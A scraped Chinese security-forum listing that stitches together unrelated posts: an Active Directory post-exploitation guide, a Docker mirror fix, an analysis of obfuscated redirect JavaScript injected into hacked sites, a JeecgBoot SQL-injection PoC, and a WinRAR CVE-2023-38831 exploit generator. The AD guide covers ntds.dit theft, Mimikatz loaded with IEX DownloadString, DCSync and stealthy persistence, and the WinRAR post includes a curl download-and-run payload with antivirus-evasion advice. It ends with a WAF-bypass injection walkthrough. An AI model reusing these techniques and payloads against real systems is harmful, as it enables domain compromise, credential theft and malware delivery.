Directory域数据库存储在ntds.dit文件中(默认存储在c:WindowsNTDS中,AD数据库是Jet数据库引擎,它使用提供的数据存储和索引服务的可扩展存储引擎(ESE)ESE级索引使对象属性可以快速定位.ESE确保数据库符合ACID(原子性,一致性,隔离性和持久性) - 交易中的所有操作完成或不执行.AD ESE数据库非常快速和可靠。 目录分区 NTDS.DIT文件由三个主表组成:数据表,链接表和SD表。 具体详细资料查看: https://technet.microsoft.com/en-us/library/cc772829(v=ws.10).aspx 使用VSS卷影副本 什么是卷影副本? 卷影副本,也称为快照,是存储在Data Protection Manager(DPM)服务器上的副本的时间点副本。副本是文件服务器上单个的受保护共享,文件夹和文件的完整时间点副本。 支持操作系统: Windows Server 2003,Windows Server 2008,Windows Server 2003 R2,Windows Server 2008 R2,Windows Server 2012,Windows 8 通常拿下一台服务器时准备内网渗透,需要传你的工具到目标机器中,而且是长久渗透的这种,为了不被发现!获取系统SAM文件等 使用VSS卷影副本(通过WMI或PowerShell的远程处理)远程提取NTDS.DIT 窗口有一个名为WMI的内置管理组件,支持远程执行(需要管理员权限).WMIC是在远程计算机上执行命令的WMI命令工具。 利用WMIC(或PowerShell的远程处理)创建(或复制现有的)VSS。 wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log" 查看vss.log wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1" wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1" net use k: \pentest.comc$ 利用这种方法可以和上面的Kerberos的票结合来实现 使用DIT Snapshot Viewer可以验证我们是否成功地获得了ntds.dit文件。 https://github.com/yosqueoy/ditsnap Ntdsutil中获取NTDS.DIT文件 Ntdsutil.exe是一个为Active Directory提供管理设施的命令行工具。 使用NTDSUTIL的IFM创建(VSS卷影副本)在DC上本地引用NTDS.DIT NTDSUtil是本地处理AD DB的命令实用程序(ntds.dit),并为DCPromo启用IFM集创建.IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。 ntdsutil "ac i ntds" "ifm" "create full c:temp" q q 当创建一个IFM时,VSS快照被拍摄,挂载,NTDS.DIT文件和相关数据被复制到目标文件夹中。 此命令也可以通过WMI或PowerShell的远程执行。 PowerShell中提取NTDS.DIT 使用PowerSploit的调用-NinjaCopy远程提取NTDS.DIT(需要在目标DC上启用的PowerShell远程处理功能)。 调用-NinaCopy是一个PowerShell的函数,它可以利用的PowerShell远程处理(必须在目标DC上启用的PowerShell远程处理),从远程计算机上复制文件(即使文件已锁定,可直接访问文件)。 https://github.com/PowerShellMafia/PowerSploit IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "C:windowsntdsntds.dit" -ComputerName "AD" -LocalDestination "C:tempntds.dit" 使用Mimikatz提取 使用Mimikatz在提取Active Directory散列 mimikatz lsadump::lsa /inject exit 使用RID 502的帐户是KRBTGT帐户,使RID 500的帐户是域的默认管理员。 获取Active Directory数据库文件的访问权限(ntds.dit) Active Directory数据库(ntds.dit)包含有关Active Directory域中所有对象的所有信息 该文件还包含所有域用户和计算机帐户的密码哈希值。 有时候域控升级等会把NTDS.DIT备份文件可从共享服务器中找到可以不用直接从域控制复制 使用Mimikatz转储LSASS内存 sekurlsa::minidump c:templsass.dmp 使用任务管理器(获取域管理员凭据)转储LSASS内存 使用PowerShell Mimikatz 使用PowerShell的 域必需要能上网否则这方法不可用 powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit' 无程获取 Powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump:LSA /inject”‘ -Computer pentest.com Mimikatz的DCSync 使用Mimikatz的DCSync远程转储Active Directory凭证 它有效地”模拟”域控制器并向目标域控制器请求帐户密码数据。 使用Mimikatz的DCSync和相应的权限,攻击者可以通过网络从域控制器中提取密码散列以及以前的密码散列,而无需交互式登录或复制Active Directory数据库文件(ntds.dit) 运行DCSync需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行DCSync来提取密码数据。请注意,只读域控制器不仅可以默认为用户提取密码数据。 提取KRBTGT用户帐户的密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit 管理员用户帐户提取密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit NTDS.DIT中提取哈希 从NTDS.DIT中提取哈希 提取出来的文件通过ntdsdump是无法提取的通过esedbexport来恢复。 安装: wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz` apt-get install autoconf automake autopoint libtool pkg-config ./configure make make install ldconfig esedbexport -m tables ntds.dit 大概需要(20-30分钟) 最后生成在./ntds.dit.export/ 使用ntdsxtract提取域信息 git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install 提取hash:(这需要将刚拷出来的三个文件中的系统复制到当前目录下) $ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt 这样提取出来之后已经是转换成hashcat可破解的格式 hashcat -m 1000 ntout ./password.txt AD持久化 活动目录持久性技巧 https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步 DSRM密码同步将域控权限持久化 获取到域控权限后如何利用DSRM密码同步将域管权限持久化。 Windows Server 2008需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。 KB961320 https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni 巧用DSRM密码同步将域控权限持久化 http://drops.xmd5.com/static/drops/tips-9297.html 同步之后使用法国佬神器(mimikatz)查看KRBTGT用户和SAM中管理员的NTLM值。 可以看到两个账户的NTLM值相同,说明确实同步成功 修改注册表允许DSRM账户远程访问 修改注册表hkey_local_machineSystemCurrentControlSetControlLsa路径下的DSRMAdminLogonBehavior的值为2。 系统默认不存在DSRMAdminLogonBehavior,请手动添加。 使用HASH远程登录域控 DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。 事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。 缓解措施 对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。 安全支持提供商 https://adsecurity.org/?p=1760 http://www.evil0x.com/posts/11354.html 直译为安全支持提供者又名安全包。 简单的理解为SSP就是一个DLL,用来实现身份认证 将mimilib.dll复制到域控C:/窗/ SYSTEM32下 设置SSP 修改域控注册表位置: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/ 内存更新SSP 特权::调试 杂项:: memssp 这样就不需要重启 C:/窗/ SYSTEM32可看到新生成的文件kiwissp.log 如果不是在域环境下生成的文件会在system32mimilsa.log 防: 检测注册表位置: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/ 检测%WINDIR%/ System32下是否有可疑的dll SID历史 https://adsecurity.org/?p=1772 SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户 mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" AdminSDHolder的&SDPROP 利用AdminSDHolder的&SDPROP(重新)获取域管理权限 https://adsecurity.org/?p=1906 AdminSDHolder是位于Active Directory中的系统分区 组策略 https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用 组策略概述 组策略使管理员能够管理活动目录中的计算机和用户组策略保存为组策略对象(GPO) 攻击者可以滥用GPO,通过欺诈方式进一步自动化地传播恶意软件,实现持久化驻留目的 恶意软件可以利用GPO穿越IDS / IPS等防火墙,最终访问到域内所有的系统。 GPO的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的GPO载荷就会被投递到目标系统。 组策略默认情况下每90分钟(域控制器5分钟)可包括安全选项,注册表项,软件安装以及启动和关闭脚本以及域成员刷新组策略设置。这意味着组策略在目标计算机上执行配置的设置。 SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享.SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。 SYSVOL共享将自动同步并在所有域控制器之间共享。 其实我认为组策略也相当于远控,可以把配置脚本让域内的每一台电脑都种上马批量执行一遍。 或者每周在所有域上运行Mimikatz获取明文密码,以及获取某种类型文件这要通过编写脚本实现。 远程搜索某个本地文件(如proof.txt) Get-Content <list of IPs> | ForEach-Object {Getwmiobject CIM_DataFile -filter »Drive=’c:’ AND Filename=’proof’ AND extension=’txt’ -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique} 一篇文章精通PowerShell Empire 2.3(上) 防: 定期审核GPO。 为GPO使用定义清晰的命名约定 记录GPO的创建动作 挂钩PasswordChangeNotify http://wooyun.jozxing.cc/static/drops/tips-13079.html 介绍一个更加隐蔽且不需要使用Mimikatz的后门方法,通过Hook PasswordChangeNotify拦截修改的帐户密码。 在修改域控密码时会进行如下同步操作: 一个。当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求 湾 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码 函数PasswordChangeNotify存在于rassfm.dll poc下载地址:https: //github.com/clymb3r/Misc-Windows-Hacking 使用VS2015开发环境,MFC设置为在静态库中使用MFC 编译工程,生成HookPasswordChange.dll 下载PowerShell的的DLL注入脚本 https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 在代码尾部添加如下代码: Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass 并命名为HookPasswordChangeNotify.ps1 上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理员权限执行: PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 将获取到的密码上传到HTTP服务器: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html 其他 Kerberos AD认证过程 Kerberos&KRBTGT帐号介绍 lapsg理解 活动目录攻击和防御资源 烂土豆 - 从服务帐户到系统的特权升级 Mimikatz非官方文档 linux / UNIX / BSD的后期渗透思路 Metasploit的后期渗透思路 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  5. 这篇文章主要介绍了docker pull拉取超时的解决方案,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧 最近docker pull镜像的时候非常不稳定,速度慢不说还经常超时失败 Pulling xlxdsj_swagger_ui (swaggerapi/swagger-ui:)... latest: Pulling from swaggerapi/swagger-ui ba3557a56b15: Pull complete 1a18b9f93d41: Pull complete 38ceab6c6432: Pull complete 6104f3bd82cc: Pull complete 750e0e12d70c: Pull complete d7c38a871210: Pull complete cbd9bbb7c3b7: Pull complete 3d6723371070: Pull complete 5e5b2de4487f: Pull complete 3c84c9c2d567: Pull complete 9e7d57b00bb8: Pull complete 5356d2f5be08: Pull complete Digest: sha256:2a746f15dacc2f2e381b3449544b82e6c7604567f05606d957ff5b7cf7d29a47 Status: Downloaded newer image for swaggerapi/swagger-ui:latest Pulling xlxdsj_swagger_editor (swaggerapi/swagger-editor:)... ERROR: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) 大致的解决办法有三个 1、修改DNS 2、修改镜像仓库地址 3、修改hosts 使用socks5代理 以下操作均在CentOS7,Ubuntu与之基本一致,macOS以及windos原理一致 修改DNS >>> vim /etc/resolv.conf nameserver 8.8.8.8 修改镜像仓库地址 >>> vim /etc/docker/daemon.json { \"registry-mirrors\": [\"https://docker.mirrors.ustc.edu.cn\", \"https://reg-mirror.qiniu.com\"] } >>> systemctl daemon-reload >>> systemctl restart docker 修改host # 安装dig >>> sudo yum install bind-utils >>> dig @114.114.114.114 registry-1.docker.io ; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> @114.114.114.114 registry-1.docker.io ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18733 ;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;registry-1.docker.io. IN A ;; ANSWER SECTION: registry-1.docker.io. 38 IN A 54.85.56.253 registry-1.docker.io. 38 IN A 35.174.73.84 registry-1.docker.io. 38 IN A 23.22.155.84 registry-1.docker.io. 38 IN A 18.213.137.78 registry-1.docker.io. 38 IN A 107.23.149.57 registry-1.docker.io. 38 IN A 52.5.11.128 registry-1.docker.io. 38 IN A 52.54.232.21 registry-1.docker.io. 38 IN A 52.20.56.50 ;; Query time: 8 msec ;; SERVER: 114.114.114.114#53(114.114.114.114) ;; WHEN: Tue Feb 23 09:03:18 CST 2021 ;; MSG SIZE rcvd: 177 >>> sudo vim /etc/hosts 35.174.73.84 registry-1.docker.io 使用socks5代理 如果之前的方法效果都不太好再考虑使用这个 前提是已经装好ss >>> vim /etc/systemd/system/docker.service.d/http-proxy.conf [Service] Environment=\"HTTP_PROXY=socks5://127.0.0.1:1080\" >>> systemctl daemon-reload >>> systemctl restart docker >>> systemctl show --property=Environment docker Environment=HTTP_PROXY=socks5://127.0.0.1:1080 补充:解决docker pull镜像报错或者超时的方案,将拉取地址改为国内镜像仓库 docker默认镜像拉取地址为国外仓库下载速度较慢,甚至会报这种错 Error response from daemon: Get https://docker.elastic.co/v2/: net/http: TLS handshake timeout 解决方法修改 /etc/docker/daemon.json 文件并添加上 registry-mirrors 键值。 然后重启docker就可以了 { \"registry-mirrors\": [\"https://registry.docker-cn.com\"] } 以上为个人经验,希望能给大家一个参考,也希望大家多多支持安全小天地。如有错误或未考虑完全的地方,望不吝赐教。
  6. 前言 因最近工作需求,需要对一些备案网站进行监测,寻找其存在的漏洞,例如主页篡改,挂暗链,弱口令等。在此期间发现一个有趣的案例,前来分享。 发现 这个发现其实也是蛮巧合的,大家先看一下这个首页 很神奇,一打开就提示404 not found,但是标题又提示官网-官方网,明显这个有猫腻 正常来说,404的话标题多数也会是404,查看源代码发现恶意js 进一步分析 var EhaqDJ1 = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider)/i; if (!EhaqDJ1[\"\\x74\\x65\\x73\\x74\"](navigator[ //test \"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6e\\x74\"])) { //userAgent let flag = navigator[\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6e\\x74\"][ //userAgent \"\\x6d\\x61\\x74\\x63\\x68\" //match ]( /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i ); if (flag) { _0 = \'\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x65\\x72\\x2d\\x73\\x63\\x61\\x6c\\x61\\x62\\x6c\\x65\\x30\\x37\\x2e\\x74\\x6f\\x70\' //https://user-scalable07.top } else { _0 = \'\\x2f\\x34\\x30\\x34\\x2e\\x68\\x74\\x6d\\x6c\' ///404.html } window[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][\"\\x77\\x72\\x69\\x74\\x65\"]( //document write \'\\x3c\\x6d\\x65\\x74\\x61 \\x68\\x74\\x74\\x70\\x2d\\x65\\x71\\x75\\x69\\x76\\x3d\\x58\\x2d\\x55\\x41\\x2d\\x43\\x6f\\x6d\\x70\\x61\\x74\\x69\\x62\\x6c\\x65 \\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x3d\\x22\\x49\\x45\\x3d\\x65\\x64\\x67\\x65\\x22\\x3e\\x3c\\x6d\\x65\\x74\\x61 \\x6e\\x61\\x6d\\x65\\x3d\\x76\\x69\\x65\\x77\\x70\\x6f\\x72\\x74 \\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x3d\\x22\\x77\\x69\\x64\\x74\\x68\\x3d\\x64\\x65\\x76\\x69\\x63\\x65\\x2d\\x77\\x69\\x64\\x74\\x68\\x2c\\x69\\x6e\\x69\\x74\\x69\\x61\\x6c\\x2d\\x73\\x63\\x61\\x6c\\x65\\x3d\\x31\\x22\\x3e\' //<metahttp-equiv=X-UA-Compatiblecontent=\"IE=edge\"><metaname=viewportcontent=\"width=device-width,initial-scale=1\"> ); var kJZGUYvdz2 = window[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][ //document \"\\x68\\x65\\x61\\x64\" //head ]; var auz3 = window[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][ //document \"\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6c\\x65\\x6d\\x65\\x6e\\x74\" ](\'\\x73\\x74\\x79\\x6c\\x65\'), //style ETJ4 = window[\"\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\"][ //document \"\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6c\\x65\\x6d\\x65\\x6e\\x74\" //createElement ](\'\\x64\\x69\\x76\'); //div auz3[\"\\x69\\x6e\\x6e\\x65\\x72\\x48\\x54\\x4d\\x4c\"] = //innerHTML \'\\x68\\x74\\x6d\\x6c\\x2c\\x62\\x6f\\x64\\x79\\x7b\\x70\\x6f\\x73\\x69\\x74\\x69\\x6f\\x6e\\x3a\\x72\\x65\\x6c\\x61\\x74\\x69\\x76\\x65\\x3b\\x77\\x69\\x64\\x74\\x68\\x3a\\x61\\x75\\x74\\x6f \\x21\\x69\\x6d\\x70\\x6f\\x72\\x74\\x61\\x6e\\x74\\x3b\\x68\\x65\\x69\\x67\\x68\\x74\\x3a\\x31\\x30\\x30\\x25 \\x21\\x69\\x6d\\x70\\x6f\\x72\\x74\\x61\\x6e\\x74\\x3b\\x6d\\x69\\x6e\\x2d\\x77\\x69\\x64\\x74\\x68\\x3a\\x61\\x75\\x74\\x6f \\x21\\x69\\x6d\\x70\\x6f\\x72\\x74\\x61\\x6e\\x74\\x3b\\x6f\\x76\\x65\\x72\\x66\\x6c\\x6f\\x77\\x3a\\x68\\x69\\x64\\x64\\x65\\x6e\\x3b\\x7d\\x2e\\x79\\x61\\x62\\x6f\\x7b\\x70\\x6f\\x73\\x69\\x74\\x69\\x6f\\x6e\\x3a\\x66\\x69\\x78\\x65\\x64\\x3b\\x74\\x6f\\x70\\x3a\\x30\\x3b\\x6c\\x65\\x66\\x74\\x3a\\x30\\x3b\\x72\\x69\\x67\\x68\\x74\\x3a\\x30\\x3b\\x68\\x65\\x69\\x67\\x68\\x74\\x3a\\x31\\x30\\x30\\x25\\x3b\\x7a\\x2d\\x69\\x6e\\x64\\x65\\x78\\x3a\\x39\\x39\\x39\\x39\\x39\\x39\\x39\\x39\\x39\\x39\\x3b\\x62\\x61\\x63\\x6b\\x67\\x72\\x6f\\x75\\x6e\\x64\\x3a\\x23\\x66\\x66\\x66\\x3b\\x7d\'; //html,body{position:relative;width:auto!important;height:100%!important;min-width:auto!important;overflow:hidden;}.yabo{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;} ETJ4[\"\\x73\\x65\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\"]( //setAttribute \'\\x63\\x6c\\x61\\x73\\x73\', \'\\x79\\x61\\x62\\x6f\'); //class yabo ETJ4[\"\\x69\\x6e\\x6e\\x65\\x72\\x48\\x54\\x4d\\x4c\"] = //innerHTML \'\\x3c\\x69\\x66\\x72\\x61\\x6d\\x65 \\x73\\x72\\x63\\x3d\' + _0 + // <iframesrc= \' \\x66\\x72\\x61\\x6d\\x65\\x62\\x6f\\x72\\x64\\x65\\x72\\x3d\\x22\\x30\\x22 \\x73\\x74\\x79\\x6c\\x65\\x3d\\x22\\x70\\x6f\\x73\\x69\\x74\\x69\\x6f\\x6e\\x3a\\x66\\x69\\x78\\x65\\x64\\x3b\\x74\\x6f\\x70\\x3a\\x30\\x3b\\x6c\\x65\\x66\\x74\\x3a\\x30\\x3b\\x77\\x69\\x64\\x74\\x68\\x3a\\x31\\x30\\x30\\x25 \\x21\\x69\\x6d\\x70\\x6f\\x72\\x74\\x61\\x6e\\x74\\x3b\\x68\\x65\\x69\\x67\\x68\\x74\\x3a\\x31\\x30\\x30\\x25 \\x21\\x69\\x6d\\x70\\x6f\\x72\\x74\\x61\\x6e\\x74\\x3b\\x6d\\x61\\x78\\x2d\\x68\\x65\\x69\\x67\\x68\\x74\\x3a \\x6e\\x6f\\x6e\\x65 \\x21\\x69\\x6d\\x70\\x6f\\x72\\x74\\x61\\x6e\\x74\\x3b\\x22\\x3e\\x3c\\x2f\\x69\\x66\\x72\\x61\\x6d\\x65\\x3e\'; //frameborder=\"0\"style=\"position:fixed;top:0;left:0;width:100%!important;height:100%!important;max-height:none!important;\"></iframe> kJZGUYvdz2[\"\\x61\\x70\\x70\\x65\\x6e\\x64\\x43\\x68\\x69\\x6c\\x64\"](auz3); //appendChild kJZGUYvdz2[\"\\x70\\x61\\x72\\x65\\x6e\\x74\\x4e\\x6f\\x64\\x65\"][ //parentNode \"\\x61\\x70\\x70\\x65\\x6e\\x64\\x43\\x68\\x69\\x6c\\x64\" //appendChild ](ETJ4) } 不难看出就是判断了一个UA头,如果是pc访问,就提示404,如果是手机访问就跳转正常博彩网页,方便用户下载APP,代码中主要是对网页标签进行修改,按找xss注入来说,类似于dom型注入(主要看innerHTML) 扩大搜索 基本上到这里就可以判断是首页篡改,然后恶意js跳转 接着搜索了一波,发现这个现象好像不止一个, 这上面的站点都和上面一样,pc访问提示404,最主要的是看时间还是最新的,意思就是这个还在持续 fofa搜索指纹 : js_name=\"/gz/gz.js\" 只能说真的是有点厉害 结尾 遇到首页被篡改,多数情况需要查看一下网站是否存在弱口令、任意文件上传、命令执行等漏洞,从这个案例可以看出来,这个基本上是全网批量扫描,然后上线实现的。 对此,咱们只能修改弱口令,及时更新漏洞补丁,注意网站安全。
  7. 免责声明 本文章只用于技术交流,若使用本文章提供的技术信息进行非法操作,后果均由使用者本人负责。 漏洞描述 JeecgBoot 企业级低代码平台 qurestSql存在SQL注入漏洞。 漏洞复现 fofa-query: app=”JeecgBoot-企业级低代码平台” 1.执行poc,进行当前用户查询 POST /jeecg-boot/jmreport/qurestSql HTTP/1.1 Host: {{Hostname}} Content-Type: application/json;charset=UTF-8 {\"apiSelectId\":\"1316997232402231298\",\"id\":\"1\' or \'%1%\' like (updatexml(0x3a,concat(1,(select current_user)),1)) or \'%%\' like \'\"}
  8. 前言 WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。 漏洞复现 利用代码 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import shutil import os import sys TEMPLATE_NAME = \"TEMPLATE\" OUTPUT_NAME = \"CVE-2023-38831-poc.rar\" BAIT_NAME = \"test.txt\" SCRIPT_NAME = \"test.bat\" def main(): global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量 # 处理命令行参数 if len(sys.argv) > 3: BAIT_NAME = os.path.basename(sys.argv[1]) SCRIPT_NAME = os.path.basename(sys.argv[2]) OUTPUT_NAME = os.path.basename(sys.argv[3]) elif len(sys.argv) == 2 and sys.argv[1] == \"poc\": pass else: print(\"\"\"用法: python cve-2023-38831-exp-gen.py poc python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>\"\"\") sys.exit() # 提取鱼叉文件名的扩展名 BAIT_EXT = b\".\" + bytes(BAIT_NAME.split(\".\")[-1], \"utf-8\") print(\"鱼叉文件名:\", BAIT_NAME) print(\"脚本文件名:\", SCRIPT_NAME) print(\"输出文件名:\", OUTPUT_NAME) # 清理并创建必要的目录 if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = os.path.join(TEMPLATE_NAME, BAIT_NAME + \"A\") if not os.path.exists(d): os.mkdir(d) # 复制文件到模板目录 shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + \"A.cmd\")) shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + \"B\")) # 创建模板目录的 zip 压缩文件 shutil.make_archive(TEMPLATE_NAME, \'zip\', TEMPLATE_NAME) # 读取、修改并写回 zip 压缩文件 with open(TEMPLATE_NAME + \".zip\", \"rb\") as f: content = f.read() content = content.replace(BAIT_EXT + b\"A\", BAIT_EXT + b\" \") content = content.replace(BAIT_EXT + b\"B\", BAIT_EXT + b\" \") os.remove(TEMPLATE_NAME + \".zip\") # 将修改后的内容保存为最终输出文件 with open(OUTPUT_NAME, \"wb\") as f: f.write(content) print(\"成功生成漏洞利用代码。\") if __name__ == \"__main__\": main() 这里我们只是测试谈一侧计算器即可 参考代码,需要生成俩个文件 BAIT_NAME = \"test.txt\" SCRIPT_NAME = \"test.bat\" 新建一个空的test.txt,还有一个批处理文件test.bat test.bat中写入需要运行的命令 这里写入calc 运行脚本: python cve-2023-38831-exp-gen.py poc 即可生成恶意rar文件:CVE-2023-38831-poc.rar 需要上线cs的话,可以修改test.bat文件内容为: curl http://xxxxxxx/a.exe -o a.exe & start a.exe & exit 做好免杀就可以上线啦 修复 更新至最新版winrar 参考链接: https://mp.weixin.qq.com/s/y5UqG5NuUtSHa7-i9AXVyw
  9. 前言:核心思想就是判断出能够逃逸的字符 0x01 寻找注入点 平平无奇的一个界面,随意查询看看数据包 数据包 看到了很多的参数,随意加上双引号,看看回显 嗯哼,这不就是妥妥的sql注入吗 0x02 开始绕过 现在注入点找到了,现在开始绕过,得到数据库名 第一步 看看都过滤了什么 绕过过滤机制之前肯定得知道他都过滤了什么东西 单引号 被拦截了 括号 没有被拦截 说明还能使用函数 试一试 select 发现被拦截了 试了试 1,2,3 还是被拦截了,真服了,并列语句也不能使用 到这里不禁思考,能不能用不拦截的语句包含一些被拦截的语句,最后结果会是怎么样?想到这里,前面刚好括号不拦截,那就用括号包含一下试试 嗯哼,发现不拦截了 那思路就明确了,就是用括号去绕过这里的过滤机制 第二步 确定函数 前面经过初步的测试,大概发现了过滤机制的过滤规则 下面确定函数,也就是要用哪种方法进行注入,我一般喜欢使用报错注入,于是我直接甩出来一个updatexml 嗯哼,过滤了 那就换一个函数吧 报错注入的函数那么多,我不信全都过滤了 反手再掏出一个 extractvalue 好,没有过滤 那么现在就要开始构造语句了 第三步 构造语句 在构造语句之前先看看extractvalue函数标准语法 mysql> select (extractvalue(1,(database()))); +--------------------------------+ | (extractvalue(1,(database()))) | +--------------------------------+ | | +--------------------------------+ 1 row in set (0.00 sec) //在1中查询不到database()的结果,但是也没有语法错误,所以不会报错 但是在sql注入中我们一般用concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串(使用频率比较广泛) select (extractvalue(1,concat(0x7e,database()))); 我们在自己本地的数据库中试一试该语句 mysql> select (extractvalue(1,concat(0x7e,database()))); ERROR 1105 (HY000): XPATH syntax error: '~lw' 发现没,这个语句会直接爆出我们的数据库名 现在我们先去使用一下这个语句 嗯 发现被过滤了,没事,我们前面才发现,并列的语句要用括号括起来,那么我们再修改一下 extractvalue(1,(concat(0x7e,(database())))) 还是被过滤了,这个时候就需要思考一下,语句和规则都没问题,那么就可能是某些函数被过滤了,我们要一个一个排除 首先我们先确定是不是database()被过滤了 发现是database函数被过滤了 那么现在就换一个能平替database的函数 百度搜索找到了schema函数 再去试试 schema函数没有被过滤 那再去试试 extractvalue(1,(concat(0x7e,(select schema()))))# 我去,还是被拦截了,难不成是concat函数不能用吗,好好好,再去验证一下 果然。。。。。。 唉,再去找能平替的函数 经过一段时间的寻找,终于找到了一个不被拦截的函数了 concat_ws 函数 先来了解一下concat_ws函数: CONCAT_WS()可自定义连接符 用法:CONCAT_WS(separator,str1,str2,…) 第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间 本地测试一下用法 mysql> select concat_ws(5,1,2); +------------------+ | concat_ws(5,1,2) | +------------------+ | 152 | +------------------+ 1 row in set (0.00 sec) 看到了吧,就是把后面两个字符连接起来,连接符就是第一个字符(可以这样理解) 现在我们把concat换成concat_ws再看看效果 先本地试试 mysql> select extractvalue(1,(concat_ws(1,(2),(schema())))); ERROR 1105 (HY000): XPATH syntax error: 'lw' 本地是没有问题的 注意这里还有用括号包含并列语句,这是前面讲过的 再去试试看 嗯。。。发现确实没有被过滤了 但是还是不行 怎么办呢,思来想去,凭借经验 在前面加个减号试试 为什么用减号呢 因为在本地是可以存在的 mysql> select - extractvalue(1,(concat_ws(1,(2),(schema())))); ERROR 1105 (HY000): XPATH syntax error: 'lw' 具体为什么我也不太清楚 这种都是试出来的经验。 结语:碰到SQL注入特别是有waf的情况下,自己多去尝试手注,去尝试绕过,可能会有不一样的收获。
